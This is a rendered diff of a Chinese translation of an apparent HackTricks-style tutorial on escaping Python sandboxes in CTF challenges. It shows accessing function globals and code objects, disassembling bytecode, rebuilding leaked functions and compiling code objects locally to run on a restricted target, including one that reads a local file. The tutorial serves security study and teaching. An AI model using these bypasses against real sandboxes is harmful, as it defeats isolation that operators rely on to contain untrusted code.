`__globals__` and `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其内容声明:
 | 
					`__globals__` 和 `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其声明的内容:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
get_flag.func_globals
 | 
					get_flag.func_globals
 | 
				
			||||||
get_flag.__globals__
 | 
					get_flag.__globals__
 | 
				
			||||||
@ -819,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### **访问函数代码**
 | 
					### **访问函数代码**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**`__code__`** 和 `func_code`: 你可以 **访问** 函数的这个 **属性** 来 **获取函数的代码对象**。
 | 
					**`__code__`** 和 `func_code`:你可以 **访问** 该函数的这个 **属性** 以 **获取其 code object**。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
# In our current example
 | 
					# In our current example
 | 
				
			||||||
get_flag.__code__
 | 
					get_flag.__code__
 | 
				
			||||||
@ -879,7 +881,7 @@ get_flag.__code__.co_freevars
 | 
				
			|||||||
get_flag.__code__.co_code
 | 
					get_flag.__code__.co_code
 | 
				
			||||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
 | 
					'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### **反汇编一个 function**
 | 
					### **反汇编函数**
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
import dis
 | 
					import dis
 | 
				
			||||||
dis.dis(get_flag)
 | 
					dis.dis(get_flag)
 | 
				
			||||||
@ -907,7 +909,7 @@ dis.dis(get_flag)
 | 
				
			|||||||
44 LOAD_CONST               0 (None)
 | 
					44 LOAD_CONST               0 (None)
 | 
				
			||||||
47 RETURN_VALUE
 | 
					47 RETURN_VALUE
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
注意,**如果你无法在 python sandbox 中导入 `dis`**,你可以获取函数的**bytecode**(`get_flag.func_code.co_code`)并在本地对其**disassemble**。你无法看到被加载变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)推测它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。
 | 
					注意 **如果你无法在 python sandbox 中导入 `dis`**,你可以获取该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地 **disassemble** 它。你不会看到被加载变量的内容(`LOAD_CONST`),但可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 也会指示被加载变量的偏移。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 | 
					dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 | 
				
			||||||
0 LOAD_CONST          1 (1)
 | 
					0 LOAD_CONST          1 (1)
 | 
				
			||||||
@ -929,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 | 
				
			|||||||
44 LOAD_CONST          0 (0)
 | 
					44 LOAD_CONST          0 (0)
 | 
				
			||||||
47 RETURN_VALUE
 | 
					47 RETURN_VALUE
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 编译 Python
 | 
					## Compiling Python
 | 
				
			||||||
 | 
					
 | 
				
			||||||
现在,假设以某种方式你可以 **dump the information about a function that you cannot execute**,但你**需要**去**执行**它。\
 | 
					现在,设想一下,你以某种方式能够 **dump the information about a function that you cannot execute**,但你 **need** 去 **execute** 它。\
 | 
				
			||||||
就像下面的示例,你**can access the code object**该函数,但仅通过查看反汇编你**不知道如何计算 flag**(_想象一个更复杂的 `calc_flag` 函数_)
 | 
					像下面的例子,你 **can access the code object** 的那个函数,但仅仅读取反汇编你 **don't know how to calculate the flag**(_想象一个更复杂的 `calc_flag` 函数_)
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
def get_flag(some_input):
 | 
					def get_flag(some_input):
 | 
				
			||||||
var1=1
 | 
					var1=1
 | 
				
			||||||
@ -947,7 +949,7 @@ return "Nope"
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### 创建 code object
 | 
					### 创建 code object
 | 
				
			||||||
 | 
					
 | 
				
			||||||
首先,我们需要知道 **how to create and execute a code object**,以便我们可以创建一个来执行我们 leaked 的 function:
 | 
					首先,我们需要知道 **如何创建和执行 code object**,以便我们可以创建一个来执行我们的 function leaked:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
code_type = type((lambda: None).__code__)
 | 
					code_type = type((lambda: None).__code__)
 | 
				
			||||||
# Check the following hint if you get an error in calling this
 | 
					# Check the following hint if you get an error in calling this
 | 
				
			||||||
@ -967,7 +969,7 @@ mydict['__builtins__'] = __builtins__
 | 
				
			|||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
 | 
					function_type(code_obj, mydict, None, None, None)("secretcode")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> 根据你运行的 python 版本,`code_type` 的 **parameters** 可能有 **不同的顺序**。要确定你运行的 python 版本中参数的顺序,最好的方法是运行:
 | 
					> 根据你所使用的 python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。要了解你运行的 python 版本中参数的顺序,最好的方法是运行:
 | 
				
			||||||
>
 | 
					>
 | 
				
			||||||
> ```
 | 
					> ```
 | 
				
			||||||
> import types
 | 
					> import types
 | 
				
			||||||
@ -975,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 | 
				
			|||||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 | 
					> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 | 
				
			||||||
> ```
 | 
					> ```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 重新创建 leaked 函数
 | 
					### 重新创建一个 leaked 函数
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!WARNING]
 | 
					> [!WARNING]
 | 
				
			||||||
> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是 **你将需要 leak 的**。
 | 
					> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是你必须 leak 的内容。
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
fc = get_flag.__code__
 | 
					fc = get_flag.__code__
 | 
				
			||||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
 | 
					# In a real situation the values like fc.co_argcount are the ones you need to leak
 | 
				
			||||||
@ -991,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
### 绕过防御
 | 
					### 绕过防御
 | 
				
			||||||
 | 
					
 | 
				
			||||||
在本帖开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以把带循环和所有内容的 **完整脚本** 在 **一行代码** 中执行(我们也可以用 **`exec`** 达到同样效果)。\
 | 
					在本文开头的前面示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有意思,因为你可以在 **一行命令** 中执行带有循环等的 **完整脚本**(我们也可以使用 **`exec`** 做同样的事)。\
 | 
				
			||||||
无论如何,有时在本地机器上 **创建** 一个 **已编译对象** 并在 **CTF machine** 上执行会很有用(例如因为在 CTF 上没有 `compiled` 函数)。
 | 
					不过,有时在本地机器上**创建**一个**已编译对象**并在 **CTF machine** 上执行它会很有用(例如因为在 CTF 中我们没有 `compiled` 函数)。 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
例如,我们来手动编译并执行一个读取 _./poc.py_ 的函数:
 | 
					例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#Locally
 | 
					#Locally
 | 
				
			||||||
def read():
 | 
					def read():
 | 
				
			||||||
@ -1021,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
 | 
				
			|||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 | 
					codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 | 
				
			||||||
function_type(codeobj, mydict, None, None, None)()
 | 
					function_type(codeobj, mydict, None, None, None)()
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
如果无法访问 `eval` 或 `exec`,你可以创建一个**真正的函数**,但直接调用它通常会失败,提示:_constructor not accessible in restricted mode_。因此你需要一个**不在受限环境中的函数来调用这个函数。**
 | 
					如果你无法访问 `eval` 或 `exec`,你可以创建一个**适当的函数**,但直接调用它通常会失败,错误为: _受限模式下无法访问构造函数_。因此你需要一个**不在受限环境中的函数来调用该函数。**
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
#Compile a regular print
 | 
					#Compile a regular print
 | 
				
			||||||
ftype = type(lambda: None)
 | 
					ftype = type(lambda: None)
 | 
				
			||||||
@ -1029,11 +1031,11 @@ ctype = type((lambda: None).func_code)
 | 
				
			|||||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 | 
					f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 | 
				
			||||||
f(42)
 | 
					f(42)
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
## 反编译已编译的 Python
 | 
					## Decompiling Compiled Python
 | 
				
			||||||
 | 
					
 | 
				
			||||||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。
 | 
					Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**查看该教程**:
 | 
					**查看此教程**:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#ref}}
 | 
					{{#ref}}
 | 
				
			||||||
@ -1044,8 +1046,8 @@ f(42)
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Assert
 | 
					### Assert
 | 
				
			||||||
 | 
					
 | 
				
			||||||
使用 `-O` 参数以优化模式执行的 Python 会移除 assert 语句以及任何基于 **debug** 值的条件代码。\
 | 
					Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
 | 
				
			||||||
因此,类似以下的检查:
 | 
					Therefore, checks like
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
def check_permission(super_user):
 | 
					def check_permission(super_user):
 | 
				
			||||||
try:
 | 
					try:
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user